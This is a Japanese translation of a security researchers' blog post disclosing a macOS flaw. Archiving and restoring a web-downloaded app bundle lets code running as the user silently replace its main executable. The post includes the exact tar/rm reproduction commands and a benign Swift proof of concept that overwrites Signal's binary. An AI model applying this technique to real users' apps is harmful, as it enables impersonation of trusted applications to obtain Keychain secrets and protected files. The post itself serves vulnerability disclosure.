セキュリティ
信頼されたmacOSアプリケーション実行可能ファイルのサイレント置換
Silent Replacement of Trusted macOS App Executables (mysk.blog)
要約
macOSの脆弱性により、攻撃者は管理者権限なしに、ウェブからダウンロードされた任意のアプリケーションのメイン実行可能ファイルをサイレントに置き換えることができます。これにより、再起動時にセキュリティ警告なしに、信頼されたアプリケーションが悪意のあるコードを実行するよう仕向けることが可能です。Appleはこの挙動をセキュリティ修正の必要がないと評価しました。
全文翻訳
信頼されたmacOSアプリケーション実行可能ファイルのサイレント置換
2026-07-23
Talal Haj Bakry および Tommy Mysk 著
macOSの脆弱性により、攻撃者は管理者権限を必要とせずに、ウェブからダウンロードされた任意のアプリケーションのメイン実行可能ファイルをサイレントに置き換えることができます。その結果、信頼されたアプリケーションは、再起動時にセキュリティ警告をトリガーすることなく、攻撃者が制御するコードを実行するように仕向けられる可能性があります。Appleはこの報告された挙動を、セキュリティ修正の必要がないと評価しました。
目次
影響を受けるプラットフォーム
macOS Tahoe 26.0.0 – 26.5.2
macOS Golden Gate 27 beta 1, 2, 3, および 4
macOSの以前のバージョンも影響を受ける可能性が高いですが、テストされていません。
概要
macOSは、アプリケーションやスクリプトが他のインストール済みアプリケーションを改ざんするのを防ぐためのいくつかのセーフガードを提供しています。この投稿では、macOSのバグを示し、攻撃者が以下のことを可能にします:
/Contents/MacOS/ 内のアプリケーションのメイン実行可能ファイルを、認証プロンプトをトリガーすることなくサイレントに置き換える。
変更されたアプリケーションを、セキュリティ警告を表示することなく通常通り再起動する。
システム権限プロンプトで信頼されたアプリケーションになりすまし、Keychainの秘密情報や、Transparency, Consent, and Control (TCC) によって保護されているファイル(~/Desktop および ~/Documents 内のファイルを含む)へのアクセスを要求する。
この攻撃には、現在のユーザーとしてのコード実行のみが必要であり、管理者権限は必要ありません。
非技術者向けの概要
Appleが調査したが修正しないと判断したmacOSのセキュリティ問題を発見しました。Macで悪意のあるアプリやスクリプトを実行した場合、攻撃者は以下のことが可能になります:
ウェブからインストール済みの信頼されたアプリを、悪意のあるバージョンにこっそり置き換える。
デスクトップやドキュメントフォルダ、Keychainなど、プライベートであると期待される場所にあるファイルを含む、プライベートデータへのアクセスを、それらの信頼されたアプリに代わって要求する。
信頼されたアプリを置き換えるためにMacのパスワードや特別な承認は必要なく、完全にバックグラウンドで発生する可能性があります。
保護されたデータへのアクセスには引き続き承認が必要ですが、macOSのシステムプロンプトには信頼されたアプリの名前とアイコンが表示されるため、要求は実際のアプリから来ているように見えます。
背景
macOSアプリケーションバンドル
macOSでは、アプリはアプリケーションバンドルとして配布されます。これはFinderでは単一の.appファイルとして表示されるディレクトリ構造です。アプリケーションバンドルには、アプリの実行可能ファイル、アイコンやアートワークなどのリソース、埋め込みフレームワークやライブラリ、メタデータが含まれます。Appleのドキュメントでは、バンドル形式について詳しく説明されています。
ユーザーがインターネットからアプリをダウンロードし、初めて起動する際、macOSはそのコード署名と公証を確認し、Gatekeeperポリシーを適用してアプリが実行できる信頼されたものであるかを判断します。
macOSは、最初の起動前にアプリケーションの整合性と公証を確認します。
アプリがインストールされ(例: /Applications にドラッグアンドドロップ)、開かれた後、macOSはそのバンドルの内容を保護します。他のアプリケーションやスクリプトは、管理者権限で実行されている場合でも、その中のファイルを変更することはできません。macOSはこのような試みをブロックし、ユーザーに変更が防止されたことを警告します。
macOSは、アプリケーションまたはスクリプトが別のアプリケーションバンドルの内容を変更しようとしたときにユーザーに警告します。
アーカイブと復元
現在ユーザー権限で実行されている任意のアプリケーションまたはスクリプトが、アプリケーションバンドルのメイン実行可能ファイルをサイレントに置き換え、コード署名またはセキュリティ警告をトリガーすることなく変更されたアプリケーションを起動できるシナリオを誤って発見しました。この問題は、以下の条件が満たされる場合に再現可能です:
アプリがMac App Storeではなく、ウェブからダウンロードされたものであること。App Storeアプリはrootによって所有されますが、ウェブからダウンロードされたアプリは通常現在のユーザーによって所有されます。
アプリが少なくとも一度起動されており、Gatekeeperが初期検証を完了できること。
攻撃者が既に現在のユーザーとしてコード実行権限を持っていること(例: 悪意のあるアプリやダウンロードされたスクリプト経由)。
例としてSignalを使用します。Signalの脆弱性ではないことを明確にしておきます。Signalは、Mac App Store以外で広く信頼され配布されているため、便利なデモンストレーションターゲットにすぎません。同様の挙動は、Brave Browser、Cursor、Mullvad Browser、Proton Mail、Slack、Visual Studio Code、Xcodeなど、ウェブからダウンロードされた他の多くのアプリにも影響します。
Signalをインストールして一度起動した後、macOSはそれ以降のアプリケーションバンドルの変更を防ぎます。以下のコマンドを実行して確認できます:
% touch /Applications/Signal.app/Contents/MacOS/Signal
touch: /Applications/Signal.app/Contents/MacOS/Signal: Operation not permitted
sudoを使用しても、アプリケーションのメイン実行可能ファイルを変更することはできません:
% sudo touch /Applications/Signal.app/Contents/MacOS/Signal
touch: /Applications/Signal.app/Contents/MacOS/Signal: Operation not permitted
しかし、アプリケーションバンドルをtarでアーカイブし、元のファイルを削除し、アーカイブを/Applicationsに再度展開すると、この挙動が変わります:
% cd /Applications/
% tar cf .Signal.tar Signal.app
% rm -rf Signal.app
% tar xf .Signal.tar -C /Applications
復元されたアプリは、元のバンドルのコピーとは異なるにもかかわらず、正常に起動します。驚くべきことに、その内容は認証プロンプトをトリガーすることなく変更可能です:
% touch /Applications/Signal.app/Contents/MacOS/Signal
% It works!
ビデオ: アプリケーションバンドルをアーカイブして復元すると、ユーザーの認証なしに変更できるようになります。
この時点で、アプリのメイン実行可能ファイルを置き換えるのは簡単です。変更されたアプリは引き続き起動し、macOSはGatekeeperの警告も、バンドルが改ざんされたことを示すいかなる兆候も表示しません。
以下は、ダミーの実行可能ファイルをコンパイルし、Signalのメイン実行可能ファイルをそれに置き換える最小限のSwiftの例です:
# ウィンドウを表示する最小限のSwiftプログラムを記述します
cat << EOF > /tmp/dummy.swift
import Cocoa
let app = NSApplication.shared
let window = NSWindow(
contentRect: NSRect(x: 0, y: 0, width: 400, height: 200),
styleMask: [.titled, .closable, .miniaturizable, .resizable],
backing: .buffered,
defer: false
)
window.center()
window.title = "Hi! I'm Signal!"
window.makeKeyAndOrderFront(nil)
app.activate(ignoringOtherApps: true)
app.run()
EOF
# コマンドラインmacOS実行可能ファイルとしてコンパイルします
swiftc -framework Cocoa /tmp/dummy.swift -o /tmp/dummy
# メインSignal実行可能ファイルをダミーバイナリに置き換えます
cp /tmp/dummy /Applications/Signal.app/Contents/MacOS/Signal
# 現在変更されたアプリを起動します(実際のSignalではなく、ウィンドウが表示されるはずです)
open /Applications/Signal.app
この挙動は、macOSのコード署名がアプリケーションバンドルを保護する方法と一致しています。バンドルのリソースは_CodeSignature/CodeResourcesファイルに保存されたハッシュによって封印され、メイン実行可能ファイルはその独自のコード署名を埋め込んでいます。アーカイブ・復元プロセスではバンドルのリソースは変更されないため、ハッシュは引き続き正常に検証されます。置き換えられた実行可能ファイルはアドホック署名されており、macOSはアドホック署名された実行可能ファイルを実行することを許可します。その結果、元の実行可能ファイルが置き換えられたにもかかわらず、変更されたアプリケーションバンドルは正常に起動します。
一貫性がないのは、macOSが変更されたバンドルを同じ信頼されたアプリとして認識し続けることです。ただし、完全にそうではなく、置き換えられた実行可能ファイルは依然としてKeychainおよびTCCプロンプトをトリガーします。これは次のセクションで説明します。元の開発者署名付き実行可能ファイルがアドホック署名されたものに置き換えられたら、macOSはそのバンドルを別のアプリとして扱い、再度信頼を確立する必要があると予想されるはずです。これが、アプリが最初に正常に起動する必要がある理由を説明しています。メイン実行可能ファイルが最初の起動前に置き換えられた場合、初期検証は失敗し、macOSはアプリが破損しているためゴミ箱に移動すべきであると報告します。しかし、実行可能ファイルが最初の起動後に置き換えられた場合、変更されたバンドルは起動し続けます。